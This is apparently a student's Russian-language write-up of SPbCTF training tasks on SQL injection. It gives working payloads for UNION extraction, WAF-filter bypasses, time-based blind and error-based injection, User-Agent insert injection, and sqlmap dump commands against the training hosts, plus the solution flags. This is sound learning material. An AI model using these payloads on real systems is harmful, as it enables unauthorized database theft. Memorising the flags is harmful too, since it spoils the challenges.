# 20 октября — SQL-инъекции ## TASK №1 ![](https://i.imgur.com/vk5D484.png) :::info Просто вводим имя Kurome ::: :::warning flag: spbctf{i_l0ve_cookies_and_sist3r} ::: ## TASK №2 ![](https://i.imgur.com/6EZtOOY.png) ![](https://i.imgur.com/NQ1Bg5s.png) :::info ==SQL-request:== 0' OR name = 'Yuno Gasai ::: :::warning flag: spbctf{I_w@nt_to_kill_y0u!!} ::: ## TASK №3 ![](https://i.imgur.com/9N6wULR.png) ![](https://i.imgur.com/ANbA0nb.png) :::info ==SQL-request:== LINA' -- c ::: :::warning flag: spbctf{One_wh0_is_darker_than_twilight} ::: ## TASK №4 ![](https://i.imgur.com/zWfI70j.png) ![](https://i.imgur.com/neKaaMG.png) :::warning flag: spbctf{my_weight_is_40kg____} ::: ## TASK №5 ![](https://i.imgur.com/Y6j7PcM.png) ![](https://i.imgur.com/jbP7g9P.png) :::warning flag: spbctf{I_am_girl_magician!!} ::: ## TASK №6 ![](https://i.imgur.com/nkQkrez.png) ![](https://i.imgur.com/zBSOZ8O.png) :::warning flag: spbctf{mmya_____nyaaaa!} ::: ## TASK №7 ![](https://i.imgur.com/wv4HpO4.png) ![](https://i.imgur.com/z8D7YIX.png) :::info C помощью ==SELECT * FROM INFORMATION_SCHEMA.TABLES== выводим список всех доступных таблиц в бд и находим таблицу type: BASE TABLE с именем table_b87b13ee3f01597899d340cce7bdcc53 пишем запрос ==SELECT * FROM table_b87b13ee3f01597899d340cce7bdcc53== ::: :::warning flag: spbctf{heh_you_w0n_my_3ng1n3} ::: ## TASK №8 ![](https://i.imgur.com/zjroAx1.png) ![](https://i.imgur.com/RRqbCLj.png) ![](https://i.imgur.com/P6zjvmh.png) :::info sql debug выводит данные из таблицы age -> нам надо ее скипнуть, методом проб и ошибок понимаем что макс возраст 138 и после этого таблица не выводится -> через UNION пишем второй запрос и находим флаг req: ==1312 UNION SELECT flag, 2, 3 FROM flag== ::: :::warning spbctf{f1r57_bypa55} ::: ## TASK №9 ![](https://i.imgur.com/VRTJYuy.png) ![](https://i.imgur.com/wSA5EH3.png) :::info пробуем ==1337 union select id, name, flag from flags== получаем кучу флагов ![](https://i.imgur.com/PUDgUvO.png) видим что реальный имеет имя 7e6d83ade8bcbea8 пробуем: ==124247 union select id, name, flag from flags where name='7e6d83ade8bcbea8'== Получем ошибку и понимаем что надо закодировать имя в хексы ![](https://i.imgur.com/zSkigMi.png) name= 0x37653664383361646538626362656138 ::: :::warning spbctf{7f95f2e1d57eb5605e77a48f735e60f5} ::: :::success ## TASK №10 (https://web-kids20.forkbomb.ru/tasks/websql_bypass6) ::: ![](https://i.imgur.com/Hn1MvbA.png) ![](https://i.imgur.com/lzA7Qvy.png) :::info видим что уязвимость есть в get поле ?product_id=1 UNION SELECT flag, 2, 3 FROM flag -> ?product_id=1%20UNION%20SELECT%20flag,%202,%203%20FROM%20flag ::: ![](https://i.imgur.com/HgJFzgm.png) :::warning spbctf{63ddd1876f0f8fa8} ::: :::success ## TASK №11 ::: ![](https://i.imgur.com/m6Bv2js.png) ![](https://i.imgur.com/XBmF5gf.png) :::info видим что нам WAF заблокировали большинство символов гуглим bypass space filter sql injection на сайте owasp узнаем спопобы обхода кодируем имя b548d45080b9d110 в хексы-> 0x62353438643435303830623964313130: ``` 132342/**/UNION/**/SELECT/**/*/**/FROM/**/flags/**/where/**/name/**/like/**/0x62353438643435303830623964313130 ``` ::: :::warning spbctf{65bf992073ff5b30a2eb10b0d04d9110} ::: ## TASK №12 (https://web-kids20.forkbomb.ru/tasks/websql_bypass5) ![](https://i.imgur.com/I3Dwpnp.png) ![](https://i.imgur.com/tZin0u9.png) ![](https://i.imgur.com/CPZGXGH.png) :::info waf тут в виде регулярки гуглим что она значит и пишем запрос имя также переводим в хексы ``` 133232 UNION seLect id, name, flag from flags where name like 0x33663161373665353336613061383035 ``` ::: :::warning spbctf{ecdab8d55512b3a70c367f392b2f3a89} ::: ## TASK №13 (https://web-kids20.forkbomb.ru/tasks/websql_bypass6) ![](https://i.imgur.com/JrbTl9R.png) ![](https://i.imgur.com/EDNGGDR.png) ![](https://i.imgur.com/CJHmtLx.png) :::info видим что заблочена запятая и нам надо вывести несколько столбцов, гулим байпас для этого находим фичу через join(select '123') as name ``` 133232 UNION seLect * from flag join (seLect '12') as a join (seLect '12' ) as a ``` понимаем что надо разные имена для столбцов и исправляем ввод ``` 133232 UNION seLect * from flag join (seLect '12') as a join (seLect '12' ) as b ``` ::: :::warning spbctf{y34h_impo55ible_7ask_d0ne} ::: ## TASK №14 ![](https://i.imgur.com/vlbK2CK.png) (https://web-kids20.forkbomb.ru/tasks/websql_bypass7) ![](https://i.imgur.com/PkvjdiB.png) ![](https://i.imgur.com/IOxgJAP.png) :::info видим что заблочен любой регистр слова select ищем обход этого(сайт бурпа ван лав нашел там) можно юзать SELSELECTECT ``` 132372 union SELSELECTECT flag, 1, 2 from flag ``` ::: :::warning spbctf{selselselectectect_me_nonononowwww} ::: ## TASK №15 (https://web-kids20.forkbomb.ru/tasks/websql_bypass8) ::: ![](https://i.imgur.com/qqWqTAE.png) ![](https://i.imgur.com/bYLcEcb.png) ![](https://i.imgur.com/AyHX2mb.png) :::info waf тут в виде регулярки гуглим что она значит и понимаем что имя в хексы нельзя перевести тогда нужно подумать как поиграться с полем name методом проб и ошибок я случайно получаю с помощью order by age флаг ``` 132372 union select id, name, flag from flags order by age ``` (==сук пздц зачем так много неправильных флагов боль==) понимаю что флаг неправильный и с помощью лимитов добираюсь до нужного имени флага ``` 132372 union select id, name, flag from flags order by age limit 614, 1 ``` ::: :::warning spbctf{7a9cc937ed8c991f5fc5a87931810468} ::: :::success TASK №16------------------------------------------------------------------------------------------- (https://web-kids20.forkbomb.ru/tasks/websql_time1) ::: ![](https://i.imgur.com/aBAknR9.png) ![](https://i.imgur.com/3xOe4Lu.png) ![](https://i.imgur.com/uhSONm3.png) :::info - в названии вижу слово time, значит надо искать инъекции свзяаные со временем путем гугла нахожу такую штуку как blind-injection и читаю че это за зверь нахожу такую штуку SELECT * from (SUBSTRING(version(),1,1)=5,SLEEP(5),null) - читаем как работает SUBSTRING(string, start, length) и переделываем инъекцию под себя ::: ``` IF(SUBSTRING((select flag from flag),1,1)='s',SLEEP(5),null) ``` сайт уснул а значит у нас есть здесь full-blind inj spbctf{g00d_j0b_try_h4ard} :::success TASK №16------------------------------------------------------------------------------------------- (https://web-kids20.forkbomb.ru/tasks/websql_time2) ::: ![](https://i.imgur.com/sLUVSDQ.png) ![](https://i.imgur.com/TynGZXW.png) ![](https://i.imgur.com/ldJj5mh.png) :::info изучая исходны php код видим что есть инъекция в user-agent`те и пишем инъекцию в бурпе меняем строчку с юзер агентом на ::: ``` asasa', (select flag from flag)) ON DUPLICATE KEY UPDATE time = NOW(), useragent = (select flag from flag) -- qwe ``` :::warning spbctf{7a9cc937ed8c991f5fc5a87931810468} ::: :::success TASK №17------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/login/) ::: ![](https://i.imgur.com/dX1CtTE.png) ![](https://i.imgur.com/OChRUFg.png) :::info сомтря на исходный код состовляем инъекцию 12' and 1=2 union select flag from flag where flag like "%" -- qwe подбираем кол-во столбоцов 12' and 1=2 union select flag, 1, 2 from flag where flag like "%" -- qwe перебираем всемозможные цифры по очереди 12' and 1=2 union select flag, 1, 2 from flag where flag like "1-9%" -- qwe ::: :::warning spbctf{6908819} ::: :::success TASK №18------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/error1/) ::: ![](https://i.imgur.com/xPUrieB.png) ![](https://i.imgur.com/bWBhwAm.png) :::info сомтря на исходный код видим что есть waf с регуляркой, гуглим что она значит -> (регистронезависимый бан слова sleep) думаем как это можно обойти(судя по названию это error-based inj) ищем как ее составить -> SELECT extractvalue(rand(),concat(0x3a,(select version()))) ::: ``` SELECT extractvalue(rand(),concat(0x3a,(select flag from flag))) ``` :::warning spbctf{0h_noo_3rr0r} ::: :::success TASK №18------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/error1/) ::: ![](https://i.imgur.com/2S0ztzZ.png) :::info юзаем инъекцию из прошлого таска и понимаем что функция обрезает наш флаг попробуем вывести часть флага с помощью сабстринг (js привет спасибо что ты есть) ``` extractvalue(rand(),concat(0x3a,substr((select flag from flag), 25, 27))) ``` ::: :::warning spbctf{0h_h3r3_w3_g0_4g4in__but_w41t_it_s_too_long_c4n_i_f37ch_17_all__pl3453_st0p_wr1t1ng_such_r4nd0m_w0rd5_here} ::: :::success TASK №19------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/calc/) ::: ![](https://i.imgur.com/xB4iL2m.png) ![](https://i.imgur.com/I5qPWcq.png) ![](https://i.imgur.com/4CBFLwi.png) :::info с помощью подсказки понимаем что надо вывести схему, прчием в одной строке(с помощью group_concat) select group_concat(table_name) from information_schema.tables ``` CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_LOCK_WAITS,INNODB_SYS_TABLESTATS,INNODB_CMP,INNODB_METRICS,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FOREIGN,INNODB_SYS_COLUMNS,INNODB_SYS_INDEXES,INNODB_FT_DEFAULT_STOPWORD,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_CMPMEM,INNODB_FT_INDEX_TABLE,INNODB_FT_BEING_DELETED,INNODB_SYS_TABLESPACES,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_SYS_TABLES,INNODB_BUFFER_POOL_STATS,INNODB_FT_CONFIG,==s3cr3t5== ``` получил вот такую штуку вижу таблицу secret судя по waf значения передаваемые в where нужно будет кодить в хексы (s3cr3t5 ->0x73336372337435) для начала узнаем какие столбы есть в нашей таблице ``` (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_name=0x73336372337435) ``` получаем имя нашего столбца: mystery_here объединяем: ``` select group_concat(mystery_here) from s3cr3t5 ``` ::: :::warning spbctf{3efa91900e6f144f252a40f43dfc1f55} ::: :::success TASK №20------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/calc/) ::: ![](https://i.imgur.com/dgwaL5T.png) ![](https://i.imgur.com/lctKRVo.png) :::info видим что у нас есть два поля ввода offset и limit гуглим что такое offset понимаем что конец запроса выглядит примерно как LIMIT 0, 5 значит можно добавить наш любимый union select в поле limit вставляем: ``` 3 union select 1 потом 3 union select 1, 2 потом ``` понимаем что в нашей таблице 2 столбца пробуем вытащить флаг ``` 3 union select flag, 2 from flag ``` получаем имя нашего столбца: mystery_here объединяем: ``` 3 union select flag, 2 from flag ``` ::: :::warning spbctf{your_only_limit_is_youuuuuuu} ::: :::success TASK №20------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/calc/) ::: ![](https://i.imgur.com/dgwaL5T.png) ![](https://i.imgur.com/lctKRVo.png) :::info такс называется sqlmap значит надо почитать про эту тулзу понимаем как она работает и запускаем с параметром -u и видим что нашла time-blind inj гуглим как сделать там и в исходном коде вими что таблица назвается level24( -D level24) ::: ``` sqlmap -u http://kslweb1.spb.ctf.su/third/level24/?product_id=1 -D level24 --dump ``` :::warning KSL{164c45c9d60377a2dac48573c5032f3f} ::: :::success TASK №21------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/calc/) ::: ![](https://i.imgur.com/sW0FNX7.png) ![](https://i.imgur.com/0aVg3m0.png) ![](https://i.imgur.com/XYqhXOY.png) ``` sqlmap -u http://kslweb1.spb.ctf.su/third/level25 --data=query=qwe -D level25 --dump-all ``` :::warning KSL{0ad94627ddbea090607cd26d81105c4c} ::: :::success TASK №22------------------------------------------------------------------------------------------- (http://kslweb1.spb.ctf.su/sqli/calc/) ::: ![](https://i.imgur.com/JG7eInm.png) ![](https://i.imgur.com/0GkrgEM.png) :::info вдим что тут прикол какой-то с юзер агентом значит надо sqlmapу сказать что инъекция в юзер агенте: ::: ``` sqlmap -u http://kslweb1.spb.ctf.su/third/level26 --headers="User-Agent:test*" ``` :::warning KSL{0c9b5c8931db3504543b87f0c890d2ba} ::: :::success TASK №23------------------------------------------------------------------------------------------- :::info все как в прошлом таске только он выводит очень много таблиц и надо узнать как отфильтровать по конкретной таблице flag(находим параметр -T) ::: ``` sqlmap -u http://kslweb1.spb.ctf.su/third/level27/?product_id=1 -D level27 -T flag --dump ``` :::warning KSL{af6c2f971acf764e1b031360545f48bd} ::: ==ласт таск 33 я не буду оформлять я заемался== вот кароче команда данные data я в бурпе взял ``` sqlmap -u http://kslweb1.spb.ctf.su/sqli/logineasy/ -data 'login=qwe&password=qwe' -D login1 -T flag -t 32 --dump ``` вот кароче флаг spbctf{jackdaws love my big sphinx of quartz}